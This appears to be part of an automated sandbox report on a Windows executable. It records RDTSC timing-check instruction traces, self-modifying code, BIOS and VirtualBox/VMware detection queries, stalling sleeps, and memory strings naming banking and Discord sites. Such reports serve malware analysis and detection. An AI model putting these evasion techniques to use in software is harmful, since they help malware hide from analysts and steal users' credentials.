Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DEA4 second address: 620DEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0E9E3E16h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007EFC34B89E98h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub cx, 2494h 0x0000002d lea ebx, dword ptr [ebp+12453C3Eh] 0x00000033 mov dword ptr [ebp+122D30E6h], edi 0x00000039 push eax 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007EFC34B89EA3h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620DFE0 second address: 620E000 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC34FBCE03h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E000 second address: 620E006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E006 second address: 620E00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E00A second address: 620E00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E00E second address: 620E0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov edi, 6E7BA6CEh 0x0000000f mov edx, 3950D451h 0x00000014 popad 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007EFC34FBCDF8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1C01h] 0x00000037 mov ecx, 531F97B1h 0x0000003c jmp 00007EFC34FBCE03h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007EFC34FBCDF8h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d push 00000003h 0x0000005f jnp 00007EFC34FBCDFCh 0x00000065 push DFE60003h 0x0000006a push eax 0x0000006b push edx 0x0000006c jnl 00007EFC34FBCDFCh 0x00000072 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E0A8 second address: 620E0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E127 second address: 620E131 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFC34FBCDF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E1F8 second address: 620E1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E1FC second address: 620E23D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 436F6370h 0x0000000e pushad 0x0000000f mov ebx, dword ptr [ebp+122D1CDDh] 0x00000015 pushad 0x00000016 mov si, 121Ah 0x0000001a call 00007EFC34FBCE03h 0x0000001f pop esi 0x00000020 popad 0x00000021 popad 0x00000022 lea ebx, dword ptr [ebp+12453C52h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007EFC34FBCDFCh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 620E23D second address: 620E241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622EE04 second address: 622EE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCDFCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61FAF14 second address: 61FAF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61FAF1A second address: 61FAF41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c js 00007EFC34FBCDF6h 0x00000012 pop ebx 0x00000013 ja 00007EFC34FBCE04h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007EFC34FBCDFCh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61FAF41 second address: 61FAF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622CF0C second address: 622CF37 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFC34FBCE0Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007EFC34FBCE07h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007EFC34FBCDF6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622D4F4 second address: 622D4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622D69F second address: 622D6B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFC34FBCDFAh 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622D6B5 second address: 622D6B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622D6B9 second address: 622D6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622D6C5 second address: 622D6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89EA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622DE1F second address: 622DE25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622DF6D second address: 622DF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007EFC34B89E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007EFC34B89E96h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622DF86 second address: 622DFA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007EFC34FBCE07h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622DFA5 second address: 622DFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFC34B89E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622DFAF second address: 622DFD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC34FBCDF6h 0x00000008 jmp 00007EFC34FBCE07h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007EFC34FBCDF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622DFD8 second address: 622DFE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC34B89E96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622E71F second address: 622E723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622E723 second address: 622E72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622E72C second address: 622E731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6230FE8 second address: 623101E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007EFC34B89E96h 0x0000000f jmp 00007EFC34B89E9Dh 0x00000014 popad 0x00000015 jnl 00007EFC34B89E9Ch 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622FAD9 second address: 622FADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622FADF second address: 622FB08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007EFC34B89EA7h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 622FB08 second address: 622FB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623018C second address: 6230190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623125B second address: 623125F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623125F second address: 6231271 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007EFC34B89E9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6232418 second address: 623243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007EFC34FBCE06h 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6239ED2 second address: 6239EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34B89E9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61F92BE second address: 61F92CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC34FBCDF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61F92CE second address: 61F92D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61F92D4 second address: 61F92D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 61F92D8 second address: 61F92E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 62393EA second address: 62393F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 62393F0 second address: 62393FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 62393FA second address: 6239400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6239400 second address: 6239404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6239559 second address: 623955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 62396CA second address: 6239704 instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007EFC34B89EA8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFC34B89EA4h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6239C08 second address: 6239C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFC34FBCDF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6239D7A second address: 6239D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFC34B89E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 6239D84 second address: 6239D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623A730 second address: 623A742 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623A742 second address: 623A746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623A746 second address: 623A74A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623A74A second address: 623A750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623A750 second address: 623A756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623A756 second address: 623A75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623B246 second address: 623B24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623B24A second address: 623B250 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623B79F second address: 623B7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623B7A3 second address: 623B804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007EFC34FBCDF8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 call 00007EFC34FBCE09h 0x00000027 mov di, si 0x0000002a pop edi 0x0000002b mov esi, 204C0750h 0x00000030 xchg eax, ebx 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007EFC34FBCDFFh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623C4E6 second address: 623C541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jnc 00007EFC34B89E96h 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007EFC34B89E9Ch 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c sub dword ptr [ebp+122D1CD8h], ecx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007EFC34B89E98h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D1D65h], ecx 0x00000044 push 00000000h 0x00000046 and si, C3FAh 0x0000004b xchg eax, ebx 0x0000004c push ebx 0x0000004d push ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623D47A second address: 623D480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623CC35 second address: 623CC4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007EFC34B89E98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623DF8B second address: 623DF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623DF8F second address: 623DF9F instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 623DF9F second address: 623DFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007EFC34FBCDF8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 add dword ptr [ebp+122D29DBh], edx 0x00000029 push 00000000h 0x0000002b call 00007EFC34FBCE00h 0x00000030 or dword ptr [ebp+122D26F4h], eax 0x00000036 pop edi 0x00000037 xchg eax, ebx 0x00000038 jo 00007EFC34FBCE04h 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 1B8CB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 1B8CD5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 363F7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 372DD6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 3F6DDC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 608DE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 622FC9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 62C4556 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Special instruction interceptor: First address: 6091E4B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 5540	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 6336	Thread sleep time: -282141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 6772	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 2656	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 6980	Thread sleep time: -284142s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 1408	Thread sleep time: -284142s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 6276	Thread sleep time: -276138s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 1732	Thread sleep time: -270135s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 5552	Thread sleep time: -250125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe TID: 5640	Thread sleep time: -270135s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Last function: Thread delayed

Source: 7jKx8dPOEs.exe, 00000000.00000002.2665573925.000000000033F000.00000040.00000001.01000000.00000003.sdmp, 7jKx8dPOEs.exe, 00000000.00000002.2673987504.0000000006213000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 7jKx8dPOEs.exe, 00000000.00000003.2123228300.00000000056C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
